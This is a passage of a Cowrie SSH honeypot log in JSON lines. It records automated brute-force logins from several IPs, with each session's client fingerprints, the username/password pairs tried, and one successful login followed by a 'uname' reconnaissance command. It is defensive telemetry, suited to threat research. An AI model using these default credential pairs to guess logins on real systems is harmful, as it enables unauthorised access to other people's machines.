nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:29.345891Z","src_ip":"103.75.199.4","session":"aeaefa815522","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zlm","password":"123456","message":"login attempt [zlm/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:29.633267Z","src_ip":"103.75.199.4","session":"aeaefa815522","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:30.732787Z","src_ip":"103.75.199.4","session":"aeaefa815522","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59524,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8fc741af07f","protocol":"ssh","message":"New connection: 45.153.34.114:59524 (159.203.135.109:22) [session: c8fc741af07f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:31.612710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:31.617282Z","src_ip":"45.153.34.114","session":"c8fc741af07f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:31.699392Z","src_ip":"45.153.34.114","session":"c8fc741af07f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111","message":"login attempt [user/111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:32.048140Z","src_ip":"45.153.34.114","session":"c8fc741af07f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:33.142419Z","src_ip":"45.153.34.114","session":"c8fc741af07f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59526,"dst_ip":"159.203.135.109","dst_port":22,"session":"d53f0d7db23d","protocol":"ssh","message":"New connection: 45.153.34.114:59526 (159.203.135.109:22) [session: d53f0d7db23d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:39.113420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:39.118068Z","src_ip":"45.153.34.114","session":"d53f0d7db23d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:39.204251Z","src_ip":"45.153.34.114","session":"d53f0d7db23d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:39.458535Z","src_ip":"45.153.34.114","session":"d53f0d7db23d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:40.545849Z","src_ip":"45.153.34.114","session":"d53f0d7db23d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":59066,"dst_ip":"159.203.135.109","dst_port":22,"session":"e111ce0d78ac","protocol":"ssh","message":"New connection: 45.153.34.114:59066 (159.203.135.109:22) [session: e111ce0d78ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:46.680377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:46.685711Z","src_ip":"45.153.34.114","session":"e111ce0d78ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:46.778716Z","src_ip":"45.153.34.114","session":"e111ce0d78ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123","message":"login attempt [root/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:47.032208Z","src_ip":"45.153.34.114","session":"e111ce0d78ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:48.122671Z","src_ip":"45.153.34.114","session":"e111ce0d78ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":48364,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d83214f1208","protocol":"ssh","message":"New connection: 103.75.199.4:48364 (159.203.135.109:22) [session: 9d83214f1208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.139862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.144060Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.239458Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.527771Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.757411Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.761031Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.859252Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:51.863654Z","src_ip":"103.75.199.4","session":"9d83214f1208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57132,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcdb6ac5cf7c","protocol":"ssh","message":"New connection: 45.153.34.114:57132 (159.203.135.109:22) [session: dcdb6ac5cf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.043175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.047909Z","src_ip":"45.153.34.114","session":"dcdb6ac5cf7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.135875Z","src_ip":"45.153.34.114","session":"dcdb6ac5cf7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.392981Z","src_ip":"45.153.34.114","session":"dcdb6ac5cf7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.203.42.204","src_port":51254,"dst_ip":"159.203.135.109","dst_port":22,"session":"8dc3c246d919","protocol":"ssh","message":"New connection: 20.203.42.204:51254 (159.203.135.109:22) [session: 8dc3c246d919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.567646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.573133Z","src_ip":"20.203.42.204","session":"8dc3c246d919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:54.738782Z","src_ip":"20.203.42.204","session":"8dc3c246d919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"username123","message":"login attempt [root/username123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:55.405039Z","src_ip":"20.203.42.204","session":"8dc3c246d919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:55.482823Z","src_ip":"45.153.34.114","session":"dcdb6ac5cf7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:24:56.591354Z","src_ip":"20.203.42.204","session":"8dc3c246d919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49046,"dst_ip":"159.203.135.109","dst_port":22,"session":"d397485254a6","protocol":"ssh","message":"New connection: 45.153.34.114:49046 (159.203.135.109:22) [session: d397485254a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:01.339032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:01.343797Z","src_ip":"45.153.34.114","session":"d397485254a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:01.430638Z","src_ip":"45.153.34.114","session":"d397485254a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:01.694158Z","src_ip":"45.153.34.114","session":"d397485254a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:02.783947Z","src_ip":"45.153.34.114","session":"d397485254a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":49056,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f9e346cb065","protocol":"ssh","message":"New connection: 45.153.34.114:49056 (159.203.135.109:22) [session: 5f9e346cb065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:08.498569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:25:08.505600Z","src_ip":"45.153.34.114","session":"5f9e346cb065","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 